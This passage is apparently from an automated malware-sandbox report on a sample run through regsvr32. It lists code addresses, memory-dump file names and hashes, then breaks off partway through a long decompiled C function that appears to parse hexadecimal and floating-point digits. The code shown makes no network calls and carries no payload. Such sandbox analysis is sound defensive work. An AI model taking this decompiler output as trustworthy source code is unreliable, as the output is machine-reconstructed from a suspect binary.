0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 1dadaabe9d85fb17525d5cd67878a4d916ce9745c71a34f03e74b2d4d2547a20
Instruction ID: 2831603b09b6b7cff206dbe5e9364b1d435361241f0cc044fe266a123e8bb316
Opcode Fuzzy Hash: 1dadaabe9d85fb17525d5cd67878a4d916ce9745c71a34f03e74b2d4d2547a20
Instruction Fuzzy Hash: 5E023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4E5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 0041869D Relevance: 1.7, Strings: 1, Instructions: 482
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E0041869D(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				void* _t603;
				char _t708;
				intOrPtr* _t709;
				intOrPtr* _t711;
				intOrPtr* _t714;
				signed short* _t717;
				char* _t719;
				signed long long _t721;
				intOrPtr _t726;
				char* _t731;
				signed long long _t733;
				signed short* _t735;
				signed short** _t737;
				signed short* _t740;
				signed short* _t743;
				signed short* _t746;
				signed short** _t748;
				signed short* _t751;
				signed short* _t754;
				signed short** _t756;
				signed short* _t760;
				signed short* _t763;
				signed short** _t765;
				signed short* _t768;
				signed short* _t771;
				signed short* _t774;
				signed short* _t777;
				char* _t779;
				signed long long _t781;
				signed short* _t783;
				signed short** _t785;
				signed short* _t788;
				signed short* _t791;
				char* _t794;
				signed short* _t797;
				signed short** _t799;
				signed short* _t802;
				signed short* _t805;
				intOrPtr* _t807;
				signed short** _t809;
				signed short* _t812;
				signed short* _t815;
				signed short* _t818;
				char* _t820;
				signed int _t821;
				signed short* _t823;
				signed short** _t825;
				signed short* _t828;
				signed short* _t831;
				signed short* _t833;
				intOrPtr _t834;
				void* _t837;
				long long _t838;
				intOrPtr* _t839;
				signed short* _t842;
				long long* _t844;
				signed int _t848;
				void* _t851;
				signed int _t854;
				signed short** _t857;
				signed short* _t860;
				signed short* _t865;
				signed short** _t867;
				signed short* _t871;
				signed short* _t874;
				signed short* _t877;
				intOrPtr* _t879;
				intOrPtr* _t880;
				void* _t882;
				long long* _t883;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t899;
				intOrPtr* _t900;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr* _t906;
				intOrPtr* _t907;
				intOrPtr _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t913;
				intOrPtr* _t914;
				intOrPtr* _t916;
				intOrPtr* _t919;
				intOrPtr* _t920;
				intOrPtr* _t922;
				intOrPtr* _t923;
				intOrPtr* _t925;
				intOrPtr* _t926;
				intOrPtr* _t927;
				intOrPtr* _t929;
				intOrPtr* _t931;
				char* _t934;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t938;
				intOrPtr* _t939;
				intOrPtr* _t941;
				intOrPtr* _t944;
				intOrPtr* _t946;
				char* _t948;
				intOrPtr* _t950;
				intOrPtr* _t952;
				intOrPtr* _t953;
				intOrPtr* _t954;
				intOrPtr _t955;
				char* _t956;
				signed long long _t958;
				void* _t960;
				intOrPtr _t963;
				intOrPtr _t964;
				intOrPtr* _t966;
				char* _t970;
				intOrPtr* _t972;
				intOrPtr* _t974;
				intOrPtr* _t975;
				intOrPtr* _t976;
				intOrPtr* _t978;
				intOrPtr* _t979;
				intOrPtr* _t981;
				intOrPtr* _t982;
				intOrPtr* _t984;
				intOrPtr* _t985;
				intOrPtr* _t988;
				signed int _t989;
				signed short* _t992;
				signed short* _t996;
				signed short* _t1000;
				signed short* _t1003;
				signed short* _t1008;
				signed short* _t1012;
				signed short* _t1016;
				signed short* _t1020;
				signed short* _t1029;
				signed short* _t1030;
				signed short* _t1033;
				signed short* _t1038;
				signed int* _t1044;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				signed int* _t1050;
				signed int* _t1051;
				intOrPtr* _t1052;
				signed int* _t1053;
				signed int* _t1054;
				signed int _t1055;
				void* _t1056;
				intOrPtr _t1057;
				intOrPtr* _t1058;
				long long _t1060;
				signed short* _t1062;
				intOrPtr* _t1063;
				char* _t1064;
				void* _t1068;
				long long* _t1071;
				signed int _t1073;
				signed int _t1076;
				long long _t1077;
				void* _t1079;
				void* _t1080;
				intOrPtr* _t1081;
				long long _t1082;
				char* _t1083;
				signed int _t1085;
				char* _t1086;
				void* _t1087;
				void* _t1088;
				char* _t1090;
				void* _t1091;
				signed int _t1092;
				char* _t1093;
				long long _t1094;
				signed int _t1096;
				void* _t1097;
				short* _t1098;
				long long _t1101;
				long long _t1102;

				_t1097 = __r15;
				_t1091 = __r14;
				_t1088 = __r13;
				_t1080 = __r12;
				_t1077 = __r9;
				_t1071 = __r8;
				_t1044 = __rdi;
				_t989 = __rdx;
				_t882 = __rbx;
				_t415 = E00401F90(_t531, _t549, _t603, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t1056 = __rax;
				_t708 = _v32;
				if(_t708 >= 0x10) {
					_t988 = _v56;
					if(_t708 + 1 >= 0x1000) {
						_t988 =  *((intOrPtr*)(_t988 - 8));
					}
					_t415 = E00402090(_t415, _t988);
				}
				_t416 = E0044CEA0(_t415, _t1056);
				asm("ud2");
				_t709 =  *_t1063;
				 *_t709 =  *_t709 + _t416;
				 *_t709 =  *_t709 + _t416;
				0;
				0;
				_t1064 =  &_v192;
				_a96 = _t1077;
				_t883 = _t1071;
				_t1092 = _t989;
				_t1057 = _a224;
				_t887 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_v32 = _t887;
				_t711 =  *_t887;
				 *((intOrPtr*)(_t711 + 0x10))(_t882, _t1044, _t1056, _t1080, _t1088, _t1091, _t1097, _t1063, _t1068);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1071, _t1077, _t1079, _t1080, _t1088, _t1092, _t1097);
				_t1081 = _t711;
				_t889 = _v32;
				if(_t889 != 0) {
					_t880 =  *_t889;
					 *((intOrPtr*)(_t880 + 0x18))();
					if(_t880 != 0) {
						 *((intOrPtr*)( *_t880 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1081 + 0x30))();
				_t891 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_a40 = _t891;
				_t714 =  *_t891;
				 *((intOrPtr*)(_t714 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1071, _t1077, _t1079, _t1092);
				_t1058 = _t714;
				_t893 = _a40;
				if(_t893 != 0) {
					_t879 =  *_t893;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1058 + 0x68))();
				_t895 =  *_t883;
				_t568 = 0;
				_t558 = 0;
				if(_t895 != 0) {
					_t877 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t877 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t524 =  *_t877 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t896 =  *_a96;
				if(_t896 != 0) {
					_t874 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t874 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t896 + 0x38))();
					} else {
						_t522 =  *_t874 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1098 = _t1092;
				if(_t558 != _t568) {
					if( *(_t883 + 8) == 0) {
						_t985 =  *_t883;
						if(_t985 == 0) {
							L35:
							 *_t883 = 0;
						} else {
							_t871 =  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x38))));
							if(_t871 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t985 + 0x38))();
							} else {
								_t521 =  *_t871 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L35;
							} else {
								 *(_t883 + 0xa) = _t521;
							}
						}
						 *(_t883 + 8) = 1;
					}
					_t517 =  *(_t883 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1098 = _t1092;
						if(_t517 == _a12) {
							 *_t1092 = 0x2d;
							_t982 =  *_t883;
							__eflags = _t982;
							if(_t982 == 0) {
								goto L50;
							} else {
								_t867 =  *((intOrPtr*)(_t982 + 0x38));
								_t1038 =  *_t867;
								__eflags = _t1038;
								if(_t1038 == 0) {
									L47:
									_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t982 + 0x50));
									_t600 =  *_t1044;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L47;
									} else {
										goto L46;
									}
								}
								goto L48;
							}
							goto L51;
						}
					} else {
						 *_t1092 = 0x2b;
						_t984 =  *_t883;
						if(_t984 == 0) {
							L50:
							 *_t883 = 0;
							_t518 = 1;
						} else {
							_t867 =  *((intOrPtr*)(_t984 + 0x38));
							_t1038 =  *_t867;
							if(_t1038 == 0) {
								L41:
								_t519 =  *((intOrPtr*)( *_t984 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t984 + 0x50));
								_t600 =  *_t1044;
								if(_t600 > 0) {
									L46:
									 *_t1044 = _t600 - 1;
									 *_t867 =  &(_t1038[1]);
									_t519 =  *_t1038 & 0x0000ffff;
								} else {
									goto L41;
								}
							}
							L48:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L50;
							} else {
								_t518 = 0;
							}
						}
						L51:
						_t1098 = _t1092 + 1;
						 *(_t883 + 8) = _t518;
					}
				}
				 *_t1098 = 0x7830;
				_t897 =  *_t883;
				_t569 = 0;
				_t559 = 0;
				if(_t897 != 0) {
					_t865 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
					if(_t865 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t897 + 0x38))();
					} else {
						_t515 =  *_t865 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t717 = _a96;
				_t898 =  *_t717;
				if(_t898 != 0) {
					_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
					if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x50)))) <= 0) {
						_t717 =  *_t898;
						_t513 = _t717[0x1c]();
					} else {
						_t513 =  *_t717 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L119:
					_t559 = 0;
				} else {
					if( *(_t883 + 8) == 0) {
						_t981 =  *_t883;
						if(_t981 == 0) {
							L73:
							 *_t883 = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x50)))) <= 0) {
								_t717 =  *_t981;
								_t512 = _t717[0x1c]();
							} else {
								_t512 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L73;
							} else {
								 *(_t883 + 0xa) = _t512;
							}
						}
						 *(_t883 + 8) = 1;
					}
					if(( *(_t883 + 0xa) & 0x0000ffff) != _v32) {
						goto L119;
					} else {
						_t974 =  *_t883;
						if(_t974 == 0) {
							L86:
							 *_t883 = 0;
							 *(_t883 + 8) = 1;
							goto L87;
						} else {
							_t857 =  *((intOrPtr*)(_t974 + 0x38));
							_t1033 =  *_t857;
							if(_t1033 == 0) {
								L80:
								_t508 =  *((intOrPtr*)( *_t974 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t974 + 0x50));
								_t598 =  *_t1044;
								if(_t598 <= 0) {
									goto L80;
								} else {
									 *_t1044 = _t598 - 1;
									 *_t857 =  &(_t1033[1]);
									_t508 =  *_t1033 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L86;
							} else {
								_t979 =  *_t883;
								 *(_t883 + 8) = 0;
								if(_t979 == 0) {
									L87:
									_t595 = 0;
								} else {
									_t860 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
									if(_t860 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t979 + 0x38))();
									} else {
										_t510 =  *_t860 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t717 = _a96;
						_t975 =  *_t717;
						if(_t975 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x50)))) <= 0) {
								_t717 =  *_t975;
								_t506 = _t717[0x1c]();
							} else {
								_t506 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t883 + 8) == 0) {
								_t978 =  *_t883;
								if(_t978 == 0) {
									L106:
									 *_t883 = 0;
								} else {
									_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x38))));
									if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x50)))) <= 0) {
										_t717 =  *_t978;
										_t505 = _t717[0x1c]();
									} else {
										_t505 =  *_t717 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L106;
									} else {
										 *(_t883 + 0xa) = _t505;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t501 =  *(_t883 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t976 =  *_t883;
								if(_t976 == 0) {
									L117:
									 *_t883 = 0;
									_t502 = 1;
								} else {
									_t717 =  *((intOrPtr*)(_t976 + 0x38));
									_t1030 =  *_t717;
									if(_t1030 == 0) {
										L114:
										_t717 =  *_t976;
										_t503 = _t717[0x20]();
									} else {
										_t1044 =  *((intOrPtr*)(_t976 + 0x50));
										_t596 =  *_t1044;
										if(_t596 <= 0) {
											goto L114;
										} else {
											 *_t1044 = _t596 - 1;
											 *_t717 =  &(_t1030[1]);
											_t503 =  *_t1030 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L117;
									} else {
										_t502 = 0;
									}
								}
								 *(_t883 + 8) = _t502;
								goto L119;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1098 + 2;
				_t1060 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1060;
				_v48 = _t1081;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1082 = _t1092;
					r13d = 0;
					_t1093 =  &_v34;
					r15d = 0;
					while(1) {
						_t899 =  *_t883;
						__eflags = _t899;
						_t560 = 0;
						if(_t899 == 0) {
							goto L147;
						}
						_t823 =  *((intOrPtr*)( *((intOrPtr*)(_t899 + 0x38))));
						__eflags = _t823;
						if(_t823 == 0) {
							L145:
							_t487 =  *((intOrPtr*)( *_t899 + 0x38))();
						} else {
							__eflags =  *( *(_t899 + 0x50));
							if( *( *(_t899 + 0x50)) <= 0) {
								goto L145;
							} else {
								_t487 =  *_t823 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L147:
						_t900 =  *_a96;
						__eflags = _t900;
						if(_t900 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L153;
							} else {
							}
						} else {
							_t831 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t831;
							if(_t831 == 0) {
								L151:
								_t483 =  *((intOrPtr*)( *_t900 + 0x38))();
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L151;
								} else {
									_t483 =  *_t831 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L153:
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t952 =  *_t883;
									__eflags = _t952;
									if(_t952 == 0) {
										L163:
										 *_t883 = 0;
									} else {
										_t828 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
										__eflags = _t828;
										if(_t828 == 0) {
											L160:
											_t424 =  *((intOrPtr*)( *_t952 + 0x38))();
										} else {
											__eflags =  *( *(_t952 + 0x50));
											if( *( *(_t952 + 0x50)) <= 0) {
												goto L160;
											} else {
												_t424 =  *_t828 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L163;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t532 =  *(_t883 + 0xa) & 0x0000ffff;
								_t719 = _t1093;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t719 + 2) & 0x0000ffff;
									_t719 = _t719 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L172;
								}
								_t721 = _t719 -  &_v32 >> 1;
								__eflags = _t721 - 0x15;
								if(_t721 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L131:
											_t948 = _a112;
											 *_t948 =  *((intOrPtr*)(_t721 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t948 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t721;
											if(_t721 != 0) {
												goto L131;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t950 =  *_t883;
									__eflags = _t950;
									if(_t950 == 0) {
										L139:
										 *_t883 = 0;
										_t481 = 1;
									} else {
										_t825 =  *((intOrPtr*)(_t950 + 0x38));
										_t1020 =  *_t825;
										__eflags = _t1020;
										if(_t1020 == 0) {
											L136:
											_t485 =  *((intOrPtr*)( *_t950 + 0x40))();
										} else {
											_t1054 =  *((intOrPtr*)(_t950 + 0x50));
											_t590 =  *_t1054;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L136;
											} else {
												 *_t1054 = _t590 - 1;
												 *_t825 =  &(_t1020[1]);
												_t485 =  *_t1020 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L139;
										} else {
											_t481 = 0;
										}
									}
									 *(_t883 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1094 = _t1082;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L170;
						}
						goto L172;
					}
				} else {
					r13d = 0;
					_a32 = _t1092;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t717;
					} else {
						_t854 =  *_t1081;
						_t424 =  *((intOrPtr*)(_t854 + 0x28))();
						_a88 = _t854;
					}
					_v40 = _t1060;
					_t1086 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t953 =  *_t883;
						_t567 = 0;
						_t592 = 0;
						if(_t953 != 0) {
							_t842 =  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x38))));
							if(_t842 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t953 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t953 + 0x38))();
							} else {
								_t495 =  *_t842 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t833 = _a96;
						_t954 =  *_t833;
						if(_t954 != 0) {
							_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x38))));
							if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t954 + 0x50)))) <= 0) {
								_t833 =  *_t954;
								_t494 = _t833[0x1c]();
							} else {
								_t494 =  *_t833 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t883 + 8) == 0) {
							_t972 =  *_t883;
							if(_t972 == 0) {
								L237:
								 *_t883 = 0;
							} else {
								_t833 =  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x38))));
								if(_t833 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t972 + 0x50)))) <= 0) {
									_t833 =  *_t972;
									_t493 = _t833[0x1c]();
								} else {
									_t493 =  *_t833 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L237;
								} else {
									 *(_t883 + 0xa) = _t493;
								}
							}
							 *(_t883 + 8) = 1;
						}
						_t424 =  *(_t883 + 0xa) & 0x0000ffff;
						_t956 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t956 + 2) & 0x0000ffff;
							_t956 = _t956 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
